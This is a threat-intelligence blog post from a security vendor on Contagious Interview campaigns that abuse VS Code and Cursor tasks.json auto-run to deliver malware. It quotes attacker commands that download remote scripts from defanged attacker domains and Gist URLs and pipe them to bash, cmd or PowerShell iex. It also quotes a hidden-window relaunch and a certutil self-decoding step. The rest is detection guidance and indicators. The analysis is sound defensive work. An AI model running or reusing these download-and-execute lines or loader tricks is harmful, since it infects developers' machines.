Security

Contagious Interview: Evolution of VS Code and Cursor Tasks Infection Chains - Part 1

Written by: 
Abstract Security Threat Research Organization (ASTRO)
Published on: 
Feb 25, 2026
On This Page
Share:
Try abstract today!
Abstract AI Gen. Composable platform diagram showing data sources, security data pipelines, detection fabric, data lakes, and AI SOC components including Hunt, SIEM Console, and Response & SOAR.

Get Abstracted!

Summary

*Abstract customers already have visibility into the behaviors described in this report.

The ASTRO team has been actively tracking Contagious Interview techniques that abuse task auto-execution in integrated development environments (IDEs) such as Microsoft Visual Studio Code (VSCode) and Cursor to deliver malware. Since our last report on the tasks infection vector, we have observed a number of new malware loaders and payload stagers using short URLs, GitHub Gists, Google Drive, and some interesting custom domains. We have also seen a resurgence of previously reported infection chains and tooling now combined with the IDE tasks vector.

Findings

New Payload Stagers

In the last report, we noted heavy use of Vercel URLS for payload staging referenced directly in tasks.json files along with a handful of custom domains. While stagers hosted on Vercel continue to be prevalent (though many have been taken down), we have observed an increase in alternative staging servers used in the tasks commands and in later stages of the infection chains.

This GitHub Code search query returns a variety of new stagers while filtering out Vercel URLs that would make up the majority of results:

path:tasks.json runOn folderOpen (curl OR wget OR iwr) (cmd OR "| sh" OR \"bash\" OR \"powershell\" OR iex) NOT vercel

GitHub Gists

Recently, repos with tasks.json files were created with the same pattern of curl or other downloaders fetching scripts piped directly to shell, but in these cases the scripts were hosted in GitHub Gists. This query returns 2 repos with this pattern, each targeting both VS Code and Cursor users:

path:tasks.json runOn folderOpen "gist.githubusercontent"

Here is a sample command run from bash -c in Wisepanda-bot-main/.cursor/tasks.json:

curl -sL https://gist[.]githubusercontent[.]com/cuda-toolkit/0959deda4982736d1c1647cff354c665/raw/metal_pytorch_sim_v2.3.0.sh | bash

These files also have a variation for Windows using PowerShell instead of piping to cmd as previously seen, like so:

iex(iwr 'https://gist[.]githubusercontent[.]com/cuda-toolkit/936835c7a98d3b223970a5d2ed63fc97/raw/cuda_toolkit_sim_v12.4.ps1' -UseBasicParsing)

The gist user cuda-toolkit and script file names like cuda_toolkit_sim_v12.4.ps1 and metal_pytorch_sim_v2.3.0.sh are an attempt to masquerade as NVIDIA software, a tactic that Contagious Interview actors are known to use. This may be a recurring theme due to the intended campaign targets, typically software developers in DeFi and other cryptocurrency-related industries that are more likely to use high-performance GPUs.

The Gist-hosted scripts download next-stage payloads from the domain camdriver[.]pro, another attempt at mimicking NVIDIA software by posing as related to camera drivers. Depending on the target platform, the payload URLs are formatted like https://camdriver[.]pro/realtekwin.update?r=7205d529-ff14-4dcf-965b-29d500663a75 or https://camdriver[.]pro/realtekmac.sh?r=7205d529-ff14-4dcf-965b-29d500663a75 and drop ZIP files that lead to malware installation downstream.

While these gists have since been deleted, these few cases might indicate future continued use of gist[.]githubusercontent[.]com for payload URLs in tasks commands. The actual scripts we pulled before deletion and their subsequent chains eventually lead to deployment of Go/Python backdoors dubbed by ESET WeLiveSecurity as WeaselStore. These previously analyzed backdoors represent a combination of older, documented Contagious Interview TTPs with the more recent tasks.json infection vector. More on this will be covered in Part 2 of this report.

URL Shorteners

We have also seen use of URLs shortened by short[.]gy hosting scripts downloaded and executed in tasks files. Most if not all of these URLs point to the Vercel domain josehub88[.]vercel[.]app, suggesting that the actors started using URL shorteners as a means to reduce their footprint of Vercel servers, perhaps due to the extensive reporting around this aspect.

The search query for this is straightforward. As of this reporting, 22 files containing these shortened URLs are returned.

path:tasks.json runOn folderOpen "short.gy"

Notably, many of these files feature whitespace padding of the malicious commands to move them off-screen from view. This cheap evasion technique was seen in our previous report from late January.

Google Drive

The Contagious Interview actors have published and continue to publish malicious Node Package Manager (NPM) packages, many of which have been identified by the DPRK npm packages tracker. One package in particular, "eslint-validator" (created by user lincoln0809), can be found in the package.json dependencies of 3 GitHub repos using this query:

path:package.json "\"eslint-validator\""

Malicious package dependencies in repositories is a common pattern, but interestingly in the case of this package, it runs content fetched from the Google Drive URL https://drive[.]google[.]com/file/d/16AaeeVhqj4Q6FlJIDMgdWASJvq7w00Yc/view?usp=sharing, found in core.js. The containing file itself is executed using node via an install script in the package's package.json.

The code for handling the content download from the Drive link can be found in googleDrive.js. It performs a GET request using the fetch API and handles virus-scan warning pages by falling back to an alternative URL endpoint in the format of https://drive[.]usercontent[.]google[.]com/download?id=${fileId}&export=download&confirm=t.

It is worth noting that the code to download and execute content from Google Drive was not present in the initial version of the "eslint-validator" package, and was added in a later version.

The Google Drive link hosts inject-simple.min0.js (4.5k), which contains heavily obfuscated JavaScript with previously seen patterns suggesting a BeaverTail downloader component.

New Loader and PyArmor Malware

The ASTRO team discovered what seems to be an undocumented infection chain featuring a number of interesting techniques resulting in a PyArmor-protected Python malware. It starts with a .vscode/tasks.json file in the repo adadsws/shannon, which is a malicious fork of the Keygraph Shannon AI penetration testing framework.

The tasks file executes the following command targeting Windows only:

curl https://nomgwenya[.]co[.]za/js/settings?win=32 | cmd

This downloads and executes a batch script captured in this URLScan result and shown below.

The next stage is another batch script from https://nomgwenya[.]co[.]za/js/bootstrap?win=32 written to the file %USERPROFILE%\.vscode\vscode-bootstrap.cmd. The full content of this script can be found in this URLScan result.

The script begins by re-launching itself in a hidden window if it was not already started with a _restarted argument:

if "%~1" neq "_restarted" powershell -WindowStyle Hidden -Command "Start-Process -FilePath cmd.exe -ArgumentList '/c \"%~f0\" _restarted' -WindowStyle Hidden" & exit /b

The script then obtains a Node.js runtime needed to execute an embedded JavaScript payload. It checks for a global install via where node and, if not found, downloads the latest Node.js MSI from nodejs.org and extracts it portably with msiexec /a. The MSI file is then deleted.

Once Node.js is available, the script changes its working directory to %USERPROFILE%\.vscode, positioning its subsequent file operations alongside legitimate VS Code configuration files.

Here is where it gets interesting. At the bottom of the batch file is a block of Base64-encoded JavaScript wrapped in PEM certificate headers ("-----BEGIN CERTIFICATE-----" ... "-----END CERTIFICATE-----"), masquerading as an embedded certificate. The script uses certutil, a commonly abused Windows utility, to decode itself:

certutil -f -decode "%~f0" "%TMP_JS%" >nul 2>&1

The %~f0 reference points to the currently executing batch file. certutil -decode recognizes the PEM headers in the file and extracts the Base64 content between them, writing the decoded JavaScript to a randomly named temp file at %TEMP%\script_%RANDOM%.mjs. The .mjs extension has Node.js treat the file as an ES module, which the payload requires based on its imports.

The decoded script is then executed with the previously obtained Node.js runtime. A long encoded string is passed as a command-line argument which, as we'll see shortly, is forwarded to a later stage via an environment variable. After execution, the temp file is deleted.

Upon decoding the JavaScript payload we're greeted with an anti-debugging trick using (function(){}).constructor("debugger")() wrapped in a try/catch.

The rest of the payload is a custom stack-based bytecode VM. Two encrypted blobs are decrypted with a rolling XOR cipher, one as bytecode and the other as a string table. The VM implements ~30 opcodes and makes Node.js modules available to the bytecode as numbered registers.

Decrypting the string table and disassembling the bytecode unearths some strings that reveal the next stage:

Extracted strings
hxxps://postprocesser[.]com/.well-known/pki-validation/go/python3.zip
pythonw.exe
exec.py
spawn
detached
REALTEKAUDIO
PROCNAME

The bytecode downloads python3.zip from hxxps://postprocesser[.]com/.well-known/pki-validation/go/python3.zip to the system temp directory, then extracts the ZIP and spawns the extracted pythonw.exe (the windowless Python interpreter) with exec.py as a detached process. Reconstructed from the bytecode, the spawn call is equivalent to:

child_process.spawn(pythonw_path, [exec_py_path], {
   detached: true,
   stdio: 'ignore',
   env: { ...process.env, REALTEKAUDIO: process.argv[2], PROCNAME: "Main" }
});

The REALTEKAUDIO environment variable carries the encoded command-line argument from the batch script through to the Python payload, masquerading as Realtek audio software. Additionally, the path .well-known/pki-validation/ in the download URL mimics a location commonly used for SSL certificate validation.

The Python payload is protected with PyArmor and was recently compiled just before this report release. In Part 2, we will dissect the PyArmor malware and analyze its capabilities.

Detection Opportunities

VS Code/Cursor child process activity. Monitor for IDEs spawning shell processes running curl, wget, PowerShell download commands, or similar utilities (optionally including piped execution) shortly after process start.

GitHub Gist URLs in IDE task files. Monitor for gist.githubusercontent.com URLs in .vscode/tasks.json or .cursor/tasks.json files, particularly combined with curl, wget, iwr, or piped execution.

URL shorteners in IDE task files. Flag tasks.json files containing shortened URLs from services like short[.]gy. Shorteners obscure the destination and have no legitimate use in IDE task configurations.

PowerShell suspicious arguments in IDE task files. Tasks.json commands invoking PowerShell with -ExecutionPolicy Bypass combined with -WindowStyle Hidden and iex/iwr.

Google Drive downloads from non-browser processes. Alert on drive.google.com or drive.usercontent.google.com requests initiated by non-browser processes like node or npm. Google Drive URLs in the format https://drive[.]usercontent[.]google[.]com/download?id=${fileId}&export=download&confirm=t are particularly suspicious as they indicate attempts to bypass virus scan warning pages.

Downloaded content piped to shell. Most tasks.json commands download and immediately execute scripts. Monitor for download utilities like curl or wget piped directly to shell commands.

Batch scripts written to the .vscode directory. The user .vscode directory normally contains configuration files. Creation of .cmd or .bat files in %USERPROFILE%\.vscode\ is unusual and may indicate malicious activity.

Console clearing around payload execution. A first-stage batch script in one of the infection chains uses cls commands before and after executing the downloaded loader to clear evidence from the console window. While cls alone is benign, its overuse especially surrounding download utilities or script execution in batch files is suspicious.

Hidden window re-launch with sentinel argument. Detect cmd.exe processes that spawn powershell -WindowStyle Hidden which in turn spawns another cmd.exe -WindowStyle Hidden, particularly when the command line includes a re-launch sentinel argument (e.g., _restarted). This double-hidden pattern is distinctive and unlikely in legitimate use.

Portable Node.js extraction via msiexec. msiexec /a performing an administrative install of a Node.js MSI to a user-writable directory such as .vscode or %TEMP% is unusual.

certutil decoding batch scripts. certutil -f -decode where the source file is a .cmd or .bat — especially when the source is %~f0 (self-reference). Legitimate certutil usage targets certificate files or encoded data files, not scripts.

Node.js executing temporary .mjs files. node.exe executing .mjs files from %TEMP% with randomized filenames matching patterns like script_%RANDOM%.mjs.

pythonw.exe spawned from temp directories. pythonw.exe running from %TEMP%\python3\ or similar temp subdirectories, especially as a detached process. This can indicate a dropped Python runtime rather than a standard installation.

Node.js spawning Python with suspicious environment variables. Process chain where node.exe spawns pythonw.exe. While this could be legitimate activity, it could warrant closer inspection when paired with other indicators.

Network requests to .well-known paths returning unusual content. HTTP requests to .well-known/pki-validation/ paths that return ZIP files or other non-certificate content. This path is not commonly intended for file hosting.

Conclusion

Contagious Interview actors continue to evolve their infrastructure and techniques. The shift toward GitHub Gists, URL shorteners, and Google Drive for payload staging suggests the actors are actively adapting to community reporting and platform takedowns. The newly discovered loader using embedded JavaScript mimicking a PEM file, stack-based bytecode VM, and ultimately a PyArmor-protected payload are an interesting twist among the infection chains. In Part 2, we will take a deeper look at the PyArmor-protected Python malware and the other chains covered in this report.

Appendix

GitHub Search Queries

PurposeQuery
Tasks with non-Vercel stagerspath:tasks.json runOn folderOpen (curl OR wget OR iwr) (cmd OR "| sh" OR \"bash\" OR \"powershell\" OR iex) NOT vercel
Tasks referencing GitHub Gistspath:tasks.json runOn folderOpen "gist.githubusercontent"
Tasks using URL shortenerpath:tasks.json runOn folderOpen "short.gy"
Repos with eslint-validator dependencypath:package.json "\"eslint-validator\""

Indicators

Domains

DomainDescription
camdriver[.]proPayload delivery from GitHub Gists chains
nomgwenya[.]co[.]zaBatch script delivery
postprocesser[.]comPyArmor-protected Python malware payload delivery
josehub88[.]vercel[.]appshort[.]gy redirect destination

URLs

URLDescription
hxxps://nomgwenya[.]co[.]za/js/settings?win=32First-stage batch script
hxxps://nomgwenya[.]co[.]za/js/bootstrap?win=32Second-stage loader (vscode-bootstrap.cmd)
hxxps://postprocesser[.]com/.well-known/pki-validation/go/python3.zipBundled Python runtime and PyArmor payload
hxxps://gist[.]githubusercontent[.]com/cuda-toolkit/0959deda4982736d1c1647cff354c665/raw/metal_pytorch_sim_v2.3.0.shGist-hosted stager (macOS/Linux)
hxxps://gist[.]githubusercontent[.]com/cuda-toolkit/4ece7a2e99311a4aa384c24733b7a41b/raw/metal_pytorch_sim_v2.3.0.shGist-hosted stager (macOS/Linux)
hxxps://gist[.]githubusercontent[.]com/cuda-toolkit/936835c7a98d3b223970a5d2ed63fc97/raw/cuda_toolkit_sim_v12.4.ps1Gist-hosted stager (Windows)
hxxps://gist[.]githubusercontent[.]com/cuda-toolkit/384410c927451dbada9ecb0072851198/raw/cuda_toolkit_sim_v12.4.ps1Gist-hosted stager (Windows)
hxxps://camdriver[.]pro/realtekwin.update?r=7205d529-ff14-4dcf-965b-29d500663a75Next stage Windows payload URL in Gist-based stagers
hxxps://camdriver[.]pro/realtekwin.update?r=ffa752c6-84e9-4bb9-b3c8-a3ab09cbcbe6Next stage Windows payload URL in Gist-based stagers
hxxps://camdriver[.]pro/realtekmac.sh?r=7205d529-ff14-4dcf-965b-29d500663a75Next stage *nix payload URL in Gist-based stagers
hxxps://drive[.]google[.]com/file/d/16AaeeVhqj4Q6FlJIDMgdWASJvq7w00Yc/view?usp=sharingGoogle Drive-hosted BeaverTail component

File Paths and Artifacts

ArtifactDescription
%USERPROFILE%\.vscode\vscode-bootstrap.cmdSecond-stage loader written to .vscode directory
%TEMP%\script_*.mjsCertutil-decoded JavaScript payload
%TEMP%\py.zipZIP archive containing Python runtime and PyArmor payload
%TEMP%\python3\exec.pyPyArmor-protected Python payload
REALTEKAUDIOEnvironment variable passing encoded data to Python stage

GitHub Repositories

RepositoryDescription
adadsws/shannonMalicious fork with tasks.json downloader
ItsmeBlackOps/Wisepanda-bot-mainContains tasks.json with Gist download URLs
BT-AURA/Auto-StackingContains tasks.json with Gist download URLs

Associated Users

UserDescription
cuda-toolkitDeleted Gist account hosting payloads masqueraded as NVIDIA software
lincoln0809NPM user, published malicious "eslint-validator" package
adadswsOwner of malicious shannon fork
ItsmeBlackOpsOwner of Wisepanda-bot-main
BT-AURAOwner of Auto-Stacking

Malicious NPM Packages

PackageDescription
eslint-validatorFetches and executes content from Google Drive
GET
ABSTRACTED

We would love you to be a part of the journey, lets grab a coffee, have a chat, and set up a demo!

Your friends at Abstract AKA one of the most fun teams in cyber ;)

White light beam passing through a black circle with a pink abstract symbol, dispersing into multicolored beams on the right.
Thank you!
Your submission has been received.
Oops! Something went wrong while submitting the form.